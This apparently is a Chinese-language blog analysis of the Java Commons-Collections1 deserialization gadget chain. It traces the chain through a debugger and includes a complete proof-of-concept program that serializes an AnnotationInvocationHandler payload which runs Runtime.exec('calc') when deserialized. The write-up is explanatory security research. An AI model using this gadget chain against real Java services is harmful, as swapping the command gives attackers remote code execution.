java反序列化Commons-Collections1分析
Commons-Collections1也是利用InvokerTransformer類中的transform方法反射機制執行命令。實驗用的是commons-collections 3.1這裡說一下為什麼呼叫構造elEntry.setValue("hahah");就會彈計算器。poc前一步需要理解如下程式碼:
package com.imooc.bigdata.datafile; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class Test1 { public static void main(String[] args) { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innermap = new HashMap(); innermap.put("name", "hello"); Map outmap = TransformedMap.decorate(innermap, null, transformerChain); Map.Entry elEntry = ( Map.Entry ) outmap.entrySet().iterator().next(); elEntry.setValue("hahah"); } }
在setValue下斷點除錯:
F7跟進,呼叫了checkSetValue方法:
F7跟進,就會跳到TransformedMap類的checkSetValue方法。
繼續F7呼叫Transform方法
繼續跟就會來到我們命令執行的transform方法中。最終導致RCE。
以上就是為什麼呼叫setValue會觸發RCE。
繼續找一個類滿足如下條件就能觸發反序列化漏洞:
(1)使用了InvokeTransformer的物件,並在transform方法裡執行程式碼;
(2)使用TransformedMap通過執行setValue方法來觸發transform方法。
這時候就找到AnnotationInvocationHandler這個類,這個類的readObject方法就存在setValue方法觸發RCE
最終的Poc如下:
package com.imooc.bigdata.datafile; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class Test { public static Object Reverse_Payload() throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innermap = new HashMap(); innermap.put("value", "value"); Map outmap = TransformedMap.decorate(innermap, null, transformerChain); //通過反射獲得AnnotationInvocationHandler類物件 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //通過反射獲得cls的建構函式 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); //這裡需要設定Accessible為true,否則序列化失敗 ctor.setAccessible(true); //通過newInstance()方法例項化物件 Object instance = ctor.newInstance(Retention.class, outmap); return instance; } public static void main(String[] args) throws Exception { GeneratePayload(Reverse_Payload(),"obj"); payloadTest("obj"); } public static void GeneratePayload(Object instance, String file) throws Exception { //將構造好的payload序列化後寫入檔案中 File f = new File(file); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); } public static void payloadTest(String file) throws Exception { //讀取寫入的payload,並進行反序列化 ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); in.readObject(); in.close(); } }
除錯下,293行呼叫setValue方法。
執行呼叫棧的過程如下圖。說一下需要看執行棧情況的時候,可以在Runtime類的exec方法打個斷點,彈計算器的時候就是RCE執行完了。
參考文章:
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/#h3_%E5%88%A9%E7%94%A8apache-commons-collections%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C
https://paper.seebug.org/312/#6-java-apache-commonscollections-rce